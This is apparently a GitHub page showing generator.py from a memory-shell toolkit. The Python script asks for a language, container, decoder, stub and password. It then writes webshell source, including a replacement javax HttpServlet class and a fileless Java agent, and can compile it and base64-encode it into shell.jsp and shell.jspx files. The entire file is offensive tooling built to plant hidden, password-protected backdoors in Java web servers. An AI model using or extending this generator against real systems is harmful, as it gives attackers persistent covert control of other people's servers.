-
Notifications
You must be signed in to change notification settings - Fork 90
/
Copy pathgenerator.py
181 lines (151 loc) · 5.26 KB
/
generator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
#!/usr/bin/env python3
import base64
from importlib import import_module
import subprocess
import sys
from time import sleep
from config.dependency import *
from config.environment import *
LOGO = r"""
_____ ______ ________ _____ ______ ________ ________
|\ _ \ _ \ |\ ____\ |\ _ \ _ \ |\ __ \ |\ __ \
\ \ \\\__\ \ \\ \ \___|_\ \ \\\__\ \ \\ \ \|\ \\ \ \|\ \
\ \ \\|__| \ \\ \_____ \\ \ \\|__| \ \\ \ __ \\ \ ____\
\ \ \ \ \ \\|____|\ \\ \ \ \ \ \\ \ \ \ \\ \ \___|
\ \__\ \ \__\ ____\_\ \\ \__\ \ \__\\ \__\ \__\\ \__\
\|__| \|__||\_________\\|__| \|__| \|__|\|__| \|__|
\|_________|
"""
def genscript(b64_str):
jsp_dst = "target/shell.jsp"
with open(jsp_dst, 'w') as f:
f.write(JSP_PREFIX+b64_str+JSP_POSTFIX)
print(f" {jsp_dst}")
jspx_dst = "target/shell.jspx"
with open(jspx_dst, 'w') as f:
f.write(JSPX_PREFIX+b64_str+JSPX_POSTFIX)
print(f" {jspx_dst}")
def b64file(file_name):
with open(file_name, "rb") as fb:
b64_str = base64.b64encode(fb.read()).decode("utf-8")
if "javax" in file_name.lower():
src_dst = 'target/AgentFileless.java'
src = AGENTFILELESS.format(
className="javax.servlet.http.HttpServlet", classBody=b64_str
)
with open(src_dst, 'w') as f:
f.write(src)
print(f" {src_dst}")
p = subprocess.Popen(
f"{java_compiler_path} -cp {JAVA_LIB_PATH} {src_dst}",shell=True,
stdout=subprocess.PIPE,stderr=subprocess.STDOUT
)
sleep(1)
class_dst = f'target/AgentFileless.class'
print(f" {class_dst}")
b64file(class_dst)
return
if generate_script and "spring" not in file_name.lower():
genscript(b64_str)
try:
pyperclip = import_module("pyperclip")
pyperclip.copy(b64_str)
print(f"---\nBase64 copied to clipboard.")
except ModuleNotFoundError:
print(f"---\n{b64_str}")
def generator(options):
language_name = options["language"].lower()
container_name = options["container"].lower()
model_name = options["model"].lower()
decoder_name = options["decoder"].lower()
stub_name = options["stub"].lower()
password = options["password"]
try:
model = import_module(
f"gist.{language_name}.container.{container_name}.{model_name}"
)
context = import_module(
f"gist.{language_name}.container.{container_name}.context.util"
)
common = import_module(
f"gist.{language_name}.common.util"
)
decoder = import_module(
f"gist.{language_name}.decoder.{decoder_name}"
)
stub = import_module(
f"gist.{language_name}.stub.{stub_name}"
)
except ModuleNotFoundError:
sys.exit("Not supported currently, Check Your Input!")
if model_name == "javax":
src = model.code.format(
decoder=decoder.proc, stub=stub.proc, password=password
)
src_dst = 'target/javax/servlet/http/HttpServlet.java'
else:
src = model.code.format(
common=common.code, context=context.code, decoder=decoder.code,
stub=stub.code, password=password
)
src_dst = f'target/{options["container"]}{options["model"]}.{language_name}'
with open(src_dst, 'w') as f:
f.write(src)
print(
f'\nOutputPath: {src_dst}'
)
if auto_build:
compiler_path = eval(f"{language_name}_compiler_path")
p = subprocess.Popen(
f"{compiler_path} -cp {JAVA_LIB_PATH} {src_dst}",shell=True,
stdout=subprocess.PIPE,stderr=subprocess.STDOUT
)
sleep(1)
if model_name == "javax":
class_dst = 'target/javax/servlet/http/HttpServlet.class'
else:
class_dst = f'target/{options["container"]}{options["model"]}.class'
print(f" {class_dst}")
if b64_class:
b64file(class_dst)
def get_menu(menu_dict):
menu_str = ""
for key in menu_dict:
menu_str += f"[\033[92m{key}\033[0m] "
return f"{menu_str}| [Back] > "
def main():
argv = sys.argv
next_menu_dict = MENU
stack_menu_list = []
options = {}
depth = 1
print(LOGO)
if len(argv) > 6:
options["language"] = argv[1]
options["container"] = argv[2]
options["model"] = argv[3]
options["decoder"] = argv[4]
options["stub"] = argv[5]
options["password"] = argv[6]
generator(options)
sys.exit()
while True:
choice = input(get_menu(next_menu_dict)).strip()
options[ARCH[depth]] = choice
if not choice:
continue
elif choice in next_menu_dict:
stack_menu_list.append(next_menu_dict)
next_menu_dict = next_menu_dict[choice]
depth += 1
elif choice == "Back":
if len(stack_menu_list) != 0:
next_menu_dict = stack_menu_list.pop()
depth -= 1
else:
sys.exit("Bye!")
elif ARCH[depth] == "password":
break
generator(options)
if __name__ == "__main__":
main()